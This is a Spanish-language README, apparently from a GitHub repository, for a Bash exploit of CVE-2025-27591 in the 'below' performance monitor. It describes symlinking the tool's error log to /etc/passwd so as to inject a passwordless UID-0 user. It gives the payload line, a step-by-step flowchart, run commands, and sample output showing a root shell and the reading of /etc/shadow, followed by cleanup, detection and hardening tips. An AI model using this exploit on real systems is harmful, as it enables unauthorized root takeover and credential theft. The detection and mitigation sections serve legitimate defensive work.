
Un exploit de escalada de privilegios basado en Bash que ataca la herramienta de monitoreo de rendimiento del sistema `below`. Este exploit renovado aprovecha una vulnerabilidad de enlace simbólico en el mecanismo de registro para inyectar un usuario root en `/etc/passwd`, obteniendo acceso root completo.
Un exploit de escalada de privilegios basado en Bash dirigido a la herramienta de monitoreo de rendimiento del sistema below. Este exploit renovado aprovecha una vulnerabilidad de enlace simbólico en el mecanismo de registro para inyectar un usuario root en /etc/passwd, logrando acceso root completo.
Descubierto y reportado por Matthias Gerstner @ SUSE - Aviso de Seguridad
/usr/bin/below (monitor de rendimiento del sistema de Facebook)/var/log/below/error_root.log → /etc/passwdLa herramienta de monitoreo below registra errores en /var/log/below/error_root.log cuando se ejecuta con privilegios elevados. Si el directorio de logs es escribible por cualquier usuario, un atacante puede:
error_root.log hacia /etc/passwdbelow record para escribir mensajes de error en el enlace simbólicoEste exploit automatiza todo el proceso con mecanismos de respaldo inteligentes para manejar diversas configuraciones del sistema.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98Fase de Verificación Previa
/var/log/below existaFase de Configuración
error_root.log existente/var/log/below/error_root.log → /etc/passwdFase de Inyección (Método Principal)
sudo below record en segundo plano/etc/passwd de manera útilFase de Inyección (Métodos de Respaldo)
echo >> symlink)sudo tee -a)Fase de Obtención de Shell
La entrada inyectada en /etc/passwd sigue este formato:
username::0:0:username:/root:/bin/bash
Desglose de Campos:
username: Nombre de usuario proporcionado por el usuario (por defecto: "0xdtc")::: Campo de contraseña vacío (sin contraseña requerida)0:0: UID=0, GID=0 (privilegios root)username: Campo GECOS (descripción del usuario)/root: Directorio home/bin/bash: Shell de inicio de sesiónbelow vulnerable/var/log/below debe ser escribible por cualquier usuariosudo para ejecutar below record# Hacer el script ejecutable
chmod +x CVE-2025-27591
# Ejecutar el exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
El script incluye múltiples mecanismos de respaldo para manejar diversas configuraciones del sistema:
Manejo de Archivos Existentes
Múltiples Métodos de Inyección
below recordsudo teeGestión de Procesos
belowDetección de Re-ejecución
/etc/passwd.
├── CVE-2025-27591 # Script principal de explotación
├── README.md # Esta documentación
└── /tmp/exploit_payload # Archivo de payload temporal (creado en tiempo de ejecución)
Después de una explotación exitosa, verifica el acceso root:
# Comprobar usuario actual
root@target:/tmp# whoami
root
# Comprobar ID de usuario y grupos
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Verificar usuario en /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# Leer archivos solo root
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]
Si necesitas eliminar el usuario malicioso después de las pruebas:
# Eliminar el usuario inyectado de /etc/passwd
sudo sed -i '/^nombredeusuario:/d' /etc/passwd
# Eliminar cualquier enlace simbólico sobrante
rm -f /var/log/below/error_root.log
Reemplaza nombredeusuario con el nombre de usuario real que usaste durante la explotación.
Monitoreo de Integridad de Archivos
# Monitorear /etc/passwd en busca de cambios no autorizados
aide --check
Detección de Enlaces Simbólicos
# Buscar enlaces simbólicos sospechosos en directorios de log
find /var/log -type l -ls
Registros de Auditoría
# Verificar uso sospechoso de sudo
grep "below record" /var/log/auth.log
Corregir Permisos de Directorio
# Eliminar permiso de escritura mundial del directorio de log
sudo chmod 755 /var/log/below
Políticas AppArmor/SELinux
belowActualizar Below
Monitorear /etc/passwd
Este exploit está destinado únicamente a fines educativos y pruebas de penetración autorizadas.
El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta solo en sistemas donde tenga permiso explícito para realizar pruebas de seguridad. El(los) autor(es) no asumen ninguna responsabilidad por el mal uso de esta herramienta.
Al usar este exploit, usted reconoce que:
Repositorio: https://github.com/0xDTC/ Autor: Divine Clown (0xDTC) Licencia: Solo para uso educativo Última actualización: 2025-11-13
/etc/passwdsu <nombredeusuario> para obtener una shell root